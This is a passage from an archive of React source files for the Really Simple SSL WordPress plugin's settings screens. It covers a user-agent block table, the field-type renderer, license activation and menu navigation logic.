                paddingLeft: '0',
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
    };

    useEffect(() => {
        if (data) {  // Add this check to ensure data is not undefined or null
            const filtered = Object.entries(data)
                .filter(([_, dataItem]) => {
                    return Object.values(dataItem).some(val => ((val ?? '').toString().toLowerCase().includes(searchTerm.toLowerCase())));
                })
                .map(([key, dataItem]) => {
                    const newItem = { ...dataItem,
                        action: generateActionButtons(dataItem.id, !IsNull(dataItem.deleted_at) ) };
                    return [key, newItem];
                })
                .reduce((obj, [key, val]) => ({ ...obj, [key]: val }), {});
            setFilteredData(filtered);
        }
    }, [searchTerm, data, generateActionButtons]);

    const handleSelection = useCallback((state) => {
        //based on the current page and the rows per page we get the rows that are selected
        const {selectedCount, selectedRows, allSelected, allRowsSelected} = state;
        let rows = [];
        if (allSelected) {
            rows = selectedRows.slice((currentPage - 1) * rowsPerPage, currentPage * rowsPerPage);
            setRowsSelected(rows);
        } else {
            setRowsSelected(selectedRows);
        }
    }, [currentPage, rowsPerPage]);

    useEffect(() => {
        if (rowsSelected.length === 0) {
            setRowCleared(!rowCleared);
        }
    }, [rowsSelected]);

    return (
        <>
            <UserAgentModal
                isOpen={modalOpen}
                onRequestClose={handleClose}
                value={user_agent}
                status={'blocked'}
            />
            <div className="rsssl-container">
                <AddButton
                    handleOpen={handleOpen}
                    processing={processing}
                    allowedText={__("Block User-Agent", "really-simple-ssl")}
                    disabled={!dataLoaded}
                />
                <div className="rsssl-search-bar">
                    <div className="rsssl-search-bar__inner">
                        <div className="rsssl-search-bar__icon"></div>
                        <input
                            type="text"
                            className="rsssl-search-bar__input"
                            placeholder={__("Search", "really-simple-ssl")}
                            onChange={e => setSearchTerm(e.target.value)}
                        />
                    </div>
                </div>
            </div>
            {rowsSelected.length > 0 && (
                <div
                    style={{
                        marginTop: '1em',
                        marginBottom: '1em',
                    }}
                >
                    <div className={"rsssl-multiselect-datatable-form rsssl-primary"}>
                        <div>
                            {__("You have selected %s rows", "really-simple-ssl").replace('%s', rowsSelected.length)}
                        </div>
                        <div className="rsssl-action-buttons">
                            <ActionButton
                                onClick={() => softDelete(rowsSelected)}
                                className="button-red"
                            >
                                {__("Delete", "really-simple-ssl")}
                            </ActionButton>
                        </div>
                    </div>
                </div>
            )}
            <DataTable
                columns={columns}
                data={Object.values(filteredData)}
                pagination={true}
                paginationComponentOptions={{
                    rowsPerPageText: __('Rows per page:', 'really-simple-ssl'),
                    rangeSeparatorText: __('of', 'really-simple-ssl'),
                    noRowsPerPage: false,
                    selectAllRowsItem: false,
                    selectAllRowsItemText: __('All', 'really-simple-ssl'),
                }}
                noDataComponent={__("No results", "really-simple-ssl")}
                persistTableHead
                onSelectedRowsChange={handleSelection}
                clearSelectedRows={rowCleared}
                paginationPerPage={rowsPerPage}
                onChangePage={handlePageChange}
                onChangeRowsPerPage={handlePerRowsChange}
                theme="really-simple-plugins"
                customStyles={customStyles}
                selectableRows={true}
            />
            {!getFieldValue('enable_firewall') && (
                <div className="rsssl-locked">
                    <div className="rsssl-locked-overlay">
                        <span className="rsssl-task-status rsssl-open">{__('Disabled', 'really-simple-ssl')}</span>
                        <span>
                            {__('Restrict access from specific countries or continents. You can also allow only specific countries.', 'really-simple-ssl')}
                        </span>
                    </div>
                </div>
            )}
        </>
    );
};

export default UserAgentTable;really-simple-ssl/settings/src/Settings/Field.js000064400000050334147510273070015745 0ustar00import {
    TextControl,
    RadioControl,
    TextareaControl,
    __experimentalNumberControl as NumberControl
} from '@wordpress/components';
import { __ } from '@wordpress/i18n';
import License from "./License/License";
import Password from "./Password";
import SelectControl from "./SelectControl";
import Host from "./Host/Host";
import Hyperlink from "../utils/Hyperlink";
import LetsEncrypt from "../LetsEncrypt/LetsEncrypt";
import Activate from "../LetsEncrypt/Activate";
import MixedContentScan from "./MixedContentScan/MixedContentScan";
import PermissionsPolicy from "./PermissionsPolicy";
import CheckboxControl from "./CheckboxControl";
import Support from "./Support";
import LearningMode from "./LearningMode/LearningMode";
import RiskComponent from "./RiskConfiguration/RiskComponent";
import VulnerabilitiesOverview from "./RiskConfiguration/vulnerabilitiesOverview";
import IpAddressDatatable from "./LimitLoginAttempts/IpAddressDatatable";
import TwoFaRolesDropDown from "./TwoFA/TwoFaRolesDropDown";
import Button from "./Button";
import Icon from "../utils/Icon";
import { useEffect, useState, useRef } from "@wordpress/element";
import useFields from "./FieldsData";
import PostDropdown from "./PostDropDown";
import NotificationTester from "./RiskConfiguration/NotificationTester";
import getAnchor from "../utils/getAnchor";
import useMenu from "../Menu/MenuData";
import UserDatatable from "./LimitLoginAttempts/UserDatatable";
import CountryDatatable from "./LimitLoginAttempts/CountryDatatable";
import BlockListDatatable from "./GeoBlockList/BlockListDatatable";
import TwoFaDataTable from "./TwoFA/TwoFaDataTable";
import EventLogDataTable from "./EventLog/EventLogDataTable";
import DOMPurify from "dompurify";
import RolesDropDown from "./RolesDropDown";
import GeoDatatable from "./GeoBlockList/GeoDatatable";
import WhiteListDatatable from "./GeoBlockList/WhiteListDatatable";
import Captcha from "./Captcha/Captcha";
import CaptchaKey from "./Captcha/CaptchaKey";
import FileChangeDetection from "./FileChangeDetection/FileChangeDetection";
import UserAgentTable from "./firewall/UserAgentTable";
import TwoFaEnabledDropDown from "./TwoFA/TwoFaEnabledDropDown";
const Field = (props) => {
    const scrollAnchor = useRef(null);
    const { updateField, setChangedField, highLightField, setHighLightField , getFieldValue} = useFields();
    const [anchor, setAnchor] = useState(null);
    const { selectedFilter, setSelectedFilter } = useMenu();

    useEffect(() => {
        // Check URL for anchor and highlightfield parameters
        const anchor = getAnchor('anchor');
        const highlightField = getAnchor('highlightfield');

        setAnchor(anchor);

        if (highlightField) {
            setHighLightField(highlightField);
        }

        if (highlightField === props.field.id && scrollAnchor.current) {
            scrollAnchor.current.scrollIntoView({ behavior: 'smooth', block: 'start' });
        }

        //if the field is a captcha provider, scroll to the captcha provider is a temp fix cause i can't get the scroll to work properly.
        if (highLightField === 'enabled_captcha_provider' && props.fields) {
            let captchaField = document.getElementsByClassName('rsssl-highlight')[0];
            if (captchaField) {
                captchaField.scrollIntoView({ behavior: 'smooth', block: 'start' });
            }
        }

        if (anchor && anchor === props.field.id) {
            scrollAnchor.current.scrollIntoView({ behavior: 'smooth', block: 'start' });
        }
    }, []);

    useEffect(() => {
        handleAnchor();
    }, [anchor]);

    window.addEventListener('hashchange', () => {
        const anchor = getAnchor('anchor');
        const highlightField = getAnchor('highlightfield');

        setAnchor(anchor);

        if (highlightField) {
            setHighLightField(highlightField);
        }

        if (highlightField === props.field.id && scrollAnchor.current) {
            scrollAnchor.current.scrollIntoView({ behavior: 'smooth', block: 'start' });
        }

        if (anchor && anchor === props.field.id) {
            scrollAnchor.current.scrollIntoView({ behavior: 'smooth', block: 'start' });
        }
    });

    const handleAnchor = () => {
        if (anchor && anchor === props.field.id) {
            scrollAnchor.current.scrollIntoView({ behavior: 'smooth', block: 'start' });
        }
    };

    const onChangeHandler = (fieldValue) => {
        let field = props.field;
        if (field.pattern) {
            const regex = new RegExp(field.pattern, 'g');
            const allowedCharactersArray = fieldValue.match(regex);
            fieldValue = allowedCharactersArray ? allowedCharactersArray.join('') : '';
        }
        updateField(field.id, fieldValue);

        // We can configure other fields if a field is enabled, or set to a certain value.
        let configureFieldCondition = false;
        if (field.configure_on_activation) {
            if (field.configure_on_activation.hasOwnProperty('condition') && props.field.value == field.configure_on_activation.condition) {
                configureFieldCondition = true;
            }
            let configureField = field.configure_on_activation[0];
            for (let fieldId in configureField) {
                if (configureFieldCondition && configureField.hasOwnProperty(fieldId)) {
                    updateField(fieldId, configureField[fieldId]);
                }
            }
        }
        setChangedField(field.id, fieldValue);
    };

    const labelWrap = (field) => {
        let tooltipColor = field.warning ? 'red' : 'black';
        return (
            <>
                <div className="cmplz-label-text">{field.label}</div>
                {field.tooltip && <Icon name="info-open" tooltip={field.tooltip} color={tooltipColor} />}
            </>
        );
    };

    let field = props.field;
    let fieldValue = field.value;
    let disabled = field.disabled;
    let highLightClass = 'rsssl-field-wrap';
    if (highLightField === props.field.id) {
        highLightClass = 'rsssl-field-wrap rsssl-highlight';
    }

    let options = [];
    if (field.options) {
        for (let key in field.options) {
            if (field.options.hasOwnProperty(key)) {
                let item = {};
                item.label = field.options[key];
                item.value = key;
                options.push(item);
            }
        }
    }

    // If a feature can only be used on networkwide or single site setups, pass that info here.
    if (!rsssl_settings.networkwide_active && field.networkwide_required) {
        disabled = true;
        field.comment = (
            <>
                {__("This feature is only available networkwide.", "really-simple-ssl")}
                <Hyperlink target="_blank" rel="noopener noreferrer" text={__("Network settings", "really-simple-ssl")} url={rsssl_settings.network_link} />
            </>
        );
    }

    if (field.conditionallyDisabled) {
        disabled = true;
    }

    if (!field.visible) {
        return null;
    }

    if ( field.type==='checkbox' ) {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <CheckboxControl
                    label={labelWrap(field)}
                    field={field}
                    disabled={disabled}
                    onChangeHandler={ ( fieldValue ) => onChangeHandler( fieldValue ) }
                />
                { field.comment &&
                    <div className="rsssl-comment" dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(field.comment) }} />
                    /* nosemgrep: react-dangerouslysetinnerhtml */
                }
            </div>
        );
    }

    if ( field.type==='hidden' ){
        return (
            <input type="hidden" value={field.value}/>
        );
    }

    if ( field.type==='radio' ){
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <RadioControl
                    label={labelWrap(field)}
                    onChange={ ( fieldValue ) => onChangeHandler(fieldValue) }
                    selected={ fieldValue }
                    options={ options }
                />
            </div>
        );
    }

    if (field.type==='email'){
        const sendVerificationEmailField = props.fields.find(field => field.id === 'send_verification_email');
        const emailIsVerified = sendVerificationEmailField && sendVerificationEmailField.disabled;

        return (
            <div className={highLightClass} ref={scrollAnchor} style={{position: 'relative'}}>
                <TextControl
                    required={ field.required }
                    placeholder={ field.placeholder }
                    disabled={ disabled }
                    help={ field.comment }
                    label={labelWrap(field)}
                    onChange={ ( fieldValue ) => onChangeHandler(fieldValue) }
                    value= { fieldValue }
                />
                { sendVerificationEmailField &&
                    <div className="rsssl-email-verified" >
                        {emailIsVerified
                            ? <Icon name='circle-check' color={'green'} />
                            : <Icon name='circle-times' color={'red'} />}
                    </div>
                }
            </div>
        );
    }

    if (field.type==='captcha_key') {
        return (
            <div className={highLightClass} ref={scrollAnchor} style={{position: 'relative'}}>
                <CaptchaKey field={field} fields={props.fields} label={labelWrap(field)} />
            </div>
            )
    }

    if ( field.type==='number' ){
        return (
            <div className={highLightClass} ref={scrollAnchor} style={{ position: 'relative'}}>
                <NumberControl
                    required={ field.required }
                    placeholder={ field.placeholder }
                    className="number_full"
                    disabled={ disabled }
                    help={ field.comment }
                    label={labelWrap(field)}
                    onChange={ ( fieldValue ) => onChangeHandler(fieldValue) }
                    value= { fieldValue }
                />
            </div>
        );
    }


    if (field.type==='text' ){
        return (
            <div className={highLightClass} ref={scrollAnchor} style={{position: 'relative'}}>
                <TextControl
                    required={ field.required }
                    placeholder={ field.placeholder }
                    disabled={ disabled }
                    help={ field.comment }
                    label={labelWrap(field)}
                    onChange={ ( fieldValue ) => onChangeHandler(fieldValue) }
                    value= { fieldValue }
                />
            </div>
        );
    }


    if ( field.type==='button' ){
        return (
            <div className={'rsssl-field-button ' + highLightClass} ref={scrollAnchor}>
                <label>{field.label}</label>
                <Button field={field}/>
            </div>
        );
    }

    if ( field.type==='password' ){
        return (
            <div className={ highLightClass} ref={scrollAnchor}>
                <Password
                    index={ props.index }
                    field={ field }
                />
            </div>
        );
    }

    if ( field.type==='textarea' ) {
        // Handle csp_frame_ancestors_urls differently. Disable on select change
        let fieldDisabled = false
        if ( field.id === 'csp_frame_ancestors_urls') {
            if ( getFieldValue('csp_frame_ancestors') === 'disabled' ) {
                fieldDisabled = true
            }
        } else {
            fieldDisabled = field.disabled
        }

        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <TextareaControl
                    label={ field.label }
                    help={ field.comment }
                    value= { fieldValue }
                    onChange={ ( fieldValue ) => onChangeHandler(fieldValue) }
                    disabled={ fieldDisabled }
                />
            </div>
        );
    }

    if ( field.type==='license' ){
        let field = props.field;
        let fieldValue = field.value;
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <License index={props.index} field={field} fieldValue={fieldValue}/>
            </div>

        );
    }
    if ( field.type==='number' ){
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <NumberControl
                    onChange={ ( fieldValue ) => onChangeHandler(fieldValue) }
                    help={ field.comment }
                    label={ field.label }
                    value= { fieldValue }
                />
            </div>
        );
    }
    if ( field.type==='email' ){
        return (
            <div className={this.highLightClass} ref={this.scrollAnchor}>
                <TextControl
                    help={ field.comment }
                    label={ field.label }
                    onChange={ ( fieldValue ) => this.onChangeHandler(fieldValue) }
                    value= { fieldValue }
                />
            </div>
        );
    }

    if ( field.type==='host') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <Host
                    index={props.index}
                    field={props.field}
                />
            </div>
        )
    }

    if ( field.type==='select') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <SelectControl
                    disabled={ disabled }
                    label={labelWrap(field)}
                    onChangeHandler={ ( fieldValue ) => onChangeHandler(fieldValue) }
                    value= { fieldValue }
                    options={ options }
                    field={field}
                />
            </div>
        )
    }

    if ( field.type==='support' ) {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <Support/>
            </div>
        )
    }

    if ( field.type==='postdropdown' ) {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <PostDropdown field={props.field}/>
            </div>
        )
    }
    if ( field.type==='permissionspolicy' ) {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <PermissionsPolicy disabled={disabled} field={props.field} options={options}/>
            </div>
        )
    }

    if (field.type==='captcha') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <Captcha field={field} label={labelWrap(field)} />
            </div>
        )
    }

    if ( field.type==='learningmode' ) {
        return(
            <div className={highLightClass} ref={scrollAnchor}>
                <LearningMode disabled={disabled} field={props.field}/>
            </div>
        )
    }

    if ( field.type==='riskcomponent' ) {
        return (<div className={highLightClass} ref={scrollAnchor}>
            <RiskComponent field={props.field}/>
        </div>)
    }

    if ( field.type === 'mixedcontentscan' ) {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <MixedContentScan field={props.field}/>
            </div>
        )
    }

    if (field.type === 'vulnerabilitiestable') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <VulnerabilitiesOverview field={props.field} />
            </div>
        )
    }

    if (field.type === 'two_fa_roles') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <label htmlFor={`rsssl-two-fa-dropdown-${field.id}`}>
                    {labelWrap(field)}
                </label>
                <TwoFaRolesDropDown field={props.field} forcedRoledId={props.field.forced_roles_id} optionalRolesId={props.field.optional_roles_id}
                />
            </div>
        );
    }

    if (field.type === 'eventlog-datatable') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <EventLogDataTable
                    field={props.field}
                    action={props.field.action}
                />
            </div>
        )
    }
    if (field.type === 'twofa-datatable') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <TwoFaDataTable
                    field={props.field}
                    action={props.field.action}
                />
            </div>
        )
    }

    if (field.type === 'ip-address-datatable') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <IpAddressDatatable
                    field={props.field}
                    action={props.field.action}
                />
            </div>
        )
    }

    if (field.type === 'user-datatable') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <UserDatatable
                    field={props.field}
                    action={props.field.action}
                />
            </div>
        )
    }

    if (field.type === 'file-change-detection') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <FileChangeDetection
                    field={props.field}
                />
            </div>
        )
    }

    if (field.type === 'country-datatable') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <CountryDatatable
                    field={props.field}
                    action={props.field.action}
                />
            </div>
        )
    }

    if (field.type === 'geo-datatable') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <GeoDatatable
                    field={props.field}
                    action={props.field.action}
                />
            </div>
        )
    }

    if (field.type === 'geo-ip-datatable') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <WhiteListDatatable
                    field={props.field}
                    action={props.field.action}
                />
            </div>
        )
    }

    if (field.type === 'blocklist-datatable') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <BlockListDatatable
                    field={props.field}
                    action={props.field.action}
                />
            </div>
        )
    }

    if (field.type === 'user-agents-datatable') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <UserAgentTable
                    field={props.field}
                    action={props.field.action}
                />
            </div>
        )
    }

    if (field.type === 'roles_dropdown') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <label htmlFor="rsssl-roles-dropdown-{field.id}">
                    {labelWrap(field)}
                </label>
                <RolesDropDown field={props.field}
                />
            </div>
        );
    }

    if (field.type === 'roles_enabled_dropdown') {
        return (
            <div className={highLightClass} ref={scrollAnchor}>
                <label htmlFor="rsssl-roles-dropdown-{field.id}">
                    {labelWrap(field)}
                </label>
                <TwoFaEnabledDropDown field={props.field}
                />
            </div>
        );
    }

    if(field.type === 'notificationtester') {
        return (
            <div className={'rsssl-field-button ' + highLightClass} ref={scrollAnchor}>
                <NotificationTester field={props.field} labelWrap={labelWrap}/>
            </div>
        )
    }

    if ( field.type === 'letsencrypt' ) {
        return (
            <LetsEncrypt field={field} />
        )
    }

    if ( field.type === 'activate' ) {
        return (
            <Activate field={field}/>
        )
    }

    return (

        'not found field type '+field.type
    );
}

export default Field;really-simple-ssl/settings/src/Settings/License/LicenseData.js000064400000003154147510273070020456 0ustar00import {create} from 'zustand';
import useFields from "../FieldsData";
import * as rsssl_api from "../../utils/api";
import {__} from "@wordpress/i18n";

const UseLicenseData = create(( set, get ) => ({

    licenseStatus: rsssl_settings.licenseStatus,
    setLicenseStatus: (licenseStatus) => set(state => ({ licenseStatus })),
    notices:[],
    setNotices: (notices) => set(state => ({ notices })),
    setLoadingState: () => {
        const disabledState = {output: {
                dismissible: false,
                icon: 'skeleton',
                label: __( 'Loading', 'burst-statistics' ),
                msg: false,
                plusone: false,
                url: false
            }
        };
        const skeletonNotices = [
            disabledState,
            disabledState,
            disabledState
        ];
        set({notices:skeletonNotices})
    },
    toggleActivation: async (licenseKey) => {
        get().setLoadingState();
        if (  get().licenseStatus==='valid' ) {
            await rsssl_api.runTest('deactivate_license').then( ( response ) => {
                set({
                    notices: response.notices,
                    licenseStatus: response.licenseStatus,
                })
            });
        } else {
            let data = {};
            data.license = licenseKey;
            await rsssl_api.doAction('activate_license', data).then( ( response ) => {
                set({
                    notices: response.notices,
                    licenseStatus: response.licenseStatus,
                })
            });

        }
    }
}));

export default UseLicenseData;really-simple-ssl/settings/src/Settings/License/License.js000064400000004521147510273070017663 0ustar00import TaskElement from "../../Dashboard/TaskElement";
import * as rsssl_api from "../../utils/api";
import { __ } from '@wordpress/i18n';
import useFields from "./../FieldsData";
import useLicense from "./LicenseData";
import {useEffect} from "@wordpress/element";
const License = ({field, isOnboarding}) => {
    const {fields, setChangedField, updateField} = useFields();
    const {toggleActivation, licenseStatus, setLicenseStatus, notices, setNotices, setLoadingState} = useLicense();

    useEffect(() => {
        setLoadingState();
    }, []);
    const getLicenseNotices = () => {
        return rsssl_api.runTest('licenseNotices', 'refresh').then( ( response ) => {
            return response;
        });
    }

    useEffect( () => {
        getLicenseNotices().then(( response ) => {
            setLicenseStatus(response.licenseStatus);
            setNotices(response.notices);
        });
    }, [fields] );

    const onChangeHandler = (fieldValue) => {
        setChangedField( field.id, fieldValue )
        updateField(field.id, fieldValue);
    }

    return (
        <div className="components-base-control">
            <div className="components-base-control__field">
                { !isOnboarding && <label className="components-base-control__label" htmlFor={field.id}>
                    {field.label}
                </label> }
                <div className="rsssl-license-field">
                    <input
                        className="components-text-control__input"
                        type="password"
                        id={field.id}
                        value={field.value}
                        onChange={(e) => onChangeHandler(e.target.value)}
                    />
                    { !isOnboarding &&
                        <button className="button button-default" onClick={() => toggleActivation(field.value)}>
                            {licenseStatus === 'valid' && <>{__('Deactivate', 'really-simple-ssl')}</>}
                            {licenseStatus !== 'valid' && <>{__('Activate', 'really-simple-ssl')}</>}
                        </button>
                    }
                </div>
            </div>
            { notices.map((notice, i) => (
                <TaskElement key={'task-' + i} index={i} notice={notice} highLightField="" />
            ))}
        </div>
    );
}

export default License;really-simple-ssl/settings/src/Menu/Menu.js000064400000001676147510273070014737 0ustar00import MenuPlaceholder from '../Placeholder/MenuPlaceholder';
import MenuItem from './MenuItem';
import useMenu from "./MenuData";
/**
 * Menu block, rendering the entire menu
 */
const Menu = () => {
    const {subMenu, subMenuLoaded} = useMenu();

    if ( !subMenuLoaded ) {
        return(
            <MenuPlaceholder />
        )
    }

    return (
        <div className="rsssl-wizard-menu rsssl-grid-item">
            <div className="rsssl-grid-item-header">
                <h1 className="rsssl-h4">{subMenu.title}</h1>
            </div>
            <div className="rsssl-grid-item-content">
                <div className="rsssl-wizard-menu-items">
                    { subMenu.menu_items.map((menuItem, i) => <MenuItem key={"menuItem-"+i} menuItem={menuItem} isMainMenu={true} /> ) }
                </div>
            </div>
            <div className="rsssl-grid-item-footer">

            </div>
        </div>
    )
}
export default Menu;
really-simple-ssl/settings/src/Menu/MenuData.js000064400000023532147510273070015524 0ustar00import {create} from 'zustand';
import getAnchor from "../utils/getAnchor";

const useMenu = create(( set, get ) => ({
    menu: [],
    subMenuLoaded:false,
    previousMenuItem:false,
    nextMenuItem:false,
    selectedMainMenuItem:false,
    selectedSubMenuItem:false,
    selectedFilter: false,
    activeGroupId: false,
    hasPremiumItems:false,
    subMenu:{title:' ',menu_items:[]},
    setSelectedSubMenuItem: async (selectedSubMenuItem) => {
        let selectedMainMenuItem = getMainMenuForSubMenu(selectedSubMenuItem);
        set(state => ({ selectedSubMenuItem,selectedMainMenuItem }))
        // window.location.href=rsssl_settings.dashboard_url+'#'+selectedMainMenuItem+'/'+selectedSubMenuItem;
        window.location.hash = selectedMainMenuItem+'/'+selectedSubMenuItem;
    },
    setSelectedMainMenuItem: (selectedMainMenuItem) => {
        set(state => ({ selectedMainMenuItem }))
        // window.location.href=rsssl_settings.dashboard_url+'#'+selectedMainMenuItem;
        window.location.hash = selectedMainMenuItem;
    },
    //we need to get the main menu item directly from the anchor, otherwise we have to wait for the menu to load in page.js
    fetchSelectedMainMenuItem: () => {
        let selectedMainMenuItem = getAnchor('main') || 'dashboard';
        set((state) => ({selectedMainMenuItem: selectedMainMenuItem}));
    },
    fetchSelectedSubMenuItem: async () => {
        let selectedSubMenuItem = getAnchor('menu') || 'general';
        set((state) => ({selectedSubMenuItem: selectedSubMenuItem}));
    },
    fetchMenuData: (fields) => {
        let menu = rsssl_settings.menu;
        menu = Object.values(menu);
        const selectedMainMenuItem = getAnchor('main') || 'dashboard';
        menu = menu.filter( item => !item.default_hidden || selectedMainMenuItem===item.id);

        if ( typeof fields !== 'undefined' ) {
            let subMenu = getSubMenu(menu, selectedMainMenuItem);
            const selectedSubMenuItem = getSelectedSubMenuItem(subMenu, fields);
            subMenu.menu_items = dropEmptyMenuItems(subMenu.menu_items, fields, selectedSubMenuItem);
            const { nextMenuItem, previousMenuItem }  = getPreviousAndNextMenuItems(menu, selectedSubMenuItem, fields);
            const hasPremiumItems =  subMenu.menu_items.filter((item) => {return (item.premium===true)}).length>0;
            set((state) => ({subMenuLoaded:true, menu: menu, nextMenuItem:nextMenuItem, previousMenuItem:previousMenuItem, selectedMainMenuItem: selectedMainMenuItem, selectedSubMenuItem:selectedSubMenuItem, subMenu: subMenu, hasPremiumItems: hasPremiumItems}));
        } else {
            set((state) => ({menu: menu, selectedMainMenuItem: selectedMainMenuItem}));

        }
    },
    getDefaultSubMenuItem: async (fields) => {
        let subMenuLoaded = get().subMenuLoaded;
        if (!subMenuLoaded){
            await get().fetchMenuData(fields);
        }
        let subMenu = get().subMenu;
        let fallBackMenuItem = subMenuLoaded && subMenu.hasOwnProperty(0) ? subMenu[0].id : 'general';
        let anchor = getAnchor('menu');
        let foundAnchorInMenu = false;
        //check if this anchor actually exists in our current submenu. If not, clear it
        for (const key in this.menu.menu_items) {
            if ( subMenu.hasOwnProperty(key) &&  subMenu[key].id === anchor ){
                foundAnchorInMenu=true;
            }
        }
        if ( !foundAnchorInMenu ) anchor = false;
        return anchor ? anchor : fallBackMenuItem;
    }
}));
export default useMenu;


// Parses menu items and nested items in single array
const menuItemParser = (parsedMenuItems, menuItems, fields) => {
    menuItems.forEach((menuItem) => {
        if( menuItem.visible ) {
            parsedMenuItems.push(menuItem.id);
            if( menuItem.hasOwnProperty('menu_items') ) {
                menuItem.menu_items = dropEmptyMenuItems(menuItem.menu_items, fields );
                menuItemParser(parsedMenuItems, menuItem.menu_items, fields);
            }
        }
    });
    return parsedMenuItems;
}

const getPreviousAndNextMenuItems = (menu, selectedSubMenuItem, fields) => {
    let previousMenuItem;
    let nextMenuItem;
    const parsedMenuItems = [];
    menuItemParser(parsedMenuItems, menu, fields);
    // Finds current menu item index
    const currentMenuItemIndex = parsedMenuItems.findIndex((menuItem) => menuItem === selectedSubMenuItem);
    if( currentMenuItemIndex !== -1 ) {
        previousMenuItem = parsedMenuItems[ currentMenuItemIndex === 0 ? '' : currentMenuItemIndex - 1];
        //if the previous menu item has a submenu, we should move one more back, because it will select the current sub otherwise.
        const previousMenuHasSubMenu = getMenuItemByName(previousMenuItem, menu).hasOwnProperty('menu_items');
        if (previousMenuHasSubMenu) {
            previousMenuItem = parsedMenuItems[ currentMenuItemIndex === 0 ? '' : currentMenuItemIndex - 2]
        }
        nextMenuItem = parsedMenuItems[ currentMenuItemIndex === parsedMenuItems.length - 1 ? '' : currentMenuItemIndex + 1];
        previousMenuItem = previousMenuItem ? previousMenuItem : parsedMenuItems[0];
        nextMenuItem = nextMenuItem ? nextMenuItem : parsedMenuItems[parsedMenuItems.length - 1]
    }
    return { nextMenuItem, previousMenuItem };
}

const dropEmptyMenuItems = (menuItems, fields) => {

    if (!Array.isArray(fields)) {
        return menuItems;  // return the original menuItems unchanged
    }

    const newMenuItems = menuItems;
    for (const [index, menuItem] of menuItems.entries()) {
        let menuItemFields = fields.filter((field) => {
            return (field.menu_id === menuItem.id )
        });

        menuItemFields = menuItemFields.filter((field) => {
            return ( field.visible )
        });
        if ( menuItemFields.length === 0 && !menuItem.hasOwnProperty('menu_items') )  {
            if (typeof newMenuItems[index] === 'object' && newMenuItems[index] !== null) {
                newMenuItems[index].visible = false;
            }
        } else {
            if (typeof newMenuItems[index] === 'object' && newMenuItems[index] !== null) {
                newMenuItems[index].visible = true;
            }
            if( menuItem.hasOwnProperty('menu_items') ) {
                newMenuItems[index].menu_items = dropEmptyMenuItems(menuItem.menu_items, fields);
            }
        }


    }
    return newMenuItems;
}

/*
* filter sidebar menu from complete menu structure
*/
const getSubMenu = (menu, selectedMainMenuItem) => {

    let subMenu = [];
    for (const key in menu) {
        if ( menu.hasOwnProperty(key) && menu[key].id === selectedMainMenuItem ){
            subMenu = menu[key];
        }
    }

    subMenu = addVisibleToMenuItems(subMenu);
    return subMenu;
}

/*
* Get the main menu item for a submenu item
*/
const getMainMenuForSubMenu = (findMenuItem) => {
    let menu = rsssl_settings.menu;
    for (const mainKey in menu) {
        let mainMenuItem = menu[mainKey];
        if (mainMenuItem.id===findMenuItem) {
            return mainMenuItem.id;
        }
        if (mainMenuItem.menu_items){
            for (const subKey in mainMenuItem.menu_items) {
                let subMenuItem = mainMenuItem.menu_items[subKey];
                if (subMenuItem.id===findMenuItem) {
                    return mainMenuItem.id;
                }
                if (subMenuItem.menu_items){
                    for (const sub2Key in subMenuItem.menu_items) {
                        let sub2MenuItem = subMenuItem.menu_items[sub2Key];
                        if (sub2MenuItem.id===findMenuItem) {
                            return mainMenuItem.id;
                        }
                    }
                }
            }
        }
    }
    return false;
}

/**
 * Get the current selected menu item based on the hash, selecting subitems if the main one is empty.
 */
const getSelectedSubMenuItem = (subMenu, fields) => {
    let fallBackMenuItem = subMenu && subMenu.menu_items.hasOwnProperty(0) ? subMenu.menu_items[0].id : 'general';
    let foundAnchorInMenu;

    //get flat array of menu items
    let parsedMenuItems = menuItemParser([], subMenu.menu_items);
    let anchor = getAnchor('menu');
    //check if this anchor actually exists in our current submenu. If not, clear it
    foundAnchorInMenu = parsedMenuItems.filter(menu_item => menu_item === anchor);
    if ( !foundAnchorInMenu ) {
        anchor = false;
    }
    let selectedMenuItem =  anchor ? anchor : fallBackMenuItem;
    //check if menu item has fields. If not, try a subitem
    let fieldsInMenu = fields.filter(field => field.menu_id === selectedMenuItem);
    if ( fieldsInMenu.length===0 ) {
        //look up the current menu item
        let menuItem = getMenuItemByName(selectedMenuItem, subMenu.menu_items);
        if (menuItem && menuItem.menu_items && menuItem.menu_items.hasOwnProperty(0)) {
            selectedMenuItem = menuItem.menu_items[0].id;
        }
    }
    return selectedMenuItem;
}

//Get a menu item by name from the menu array
const getMenuItemByName = (name, menuItems) => {
    for (const key in menuItems ){
        let menuItem = menuItems[key];
        if ( menuItem.id === name ) {
            return menuItem;
        }
        if ( menuItem.menu_items ) {
            let found = getMenuItemByName(name, menuItem.menu_items);
            if (found) return found;
        }
    }
    return false;
}

const addVisibleToMenuItems = (menu) => {

    let newMenuItems = Array.isArray(menu.menu_items) ? menu.menu_items : Object.values(menu.menu_items);

    for (let [index, menuItem] of newMenuItems.entries()) {
        if (typeof menuItem === 'object' && menuItem !== null) {
            menuItem.visible = true;
            if (menuItem.hasOwnProperty('menu_items')) {
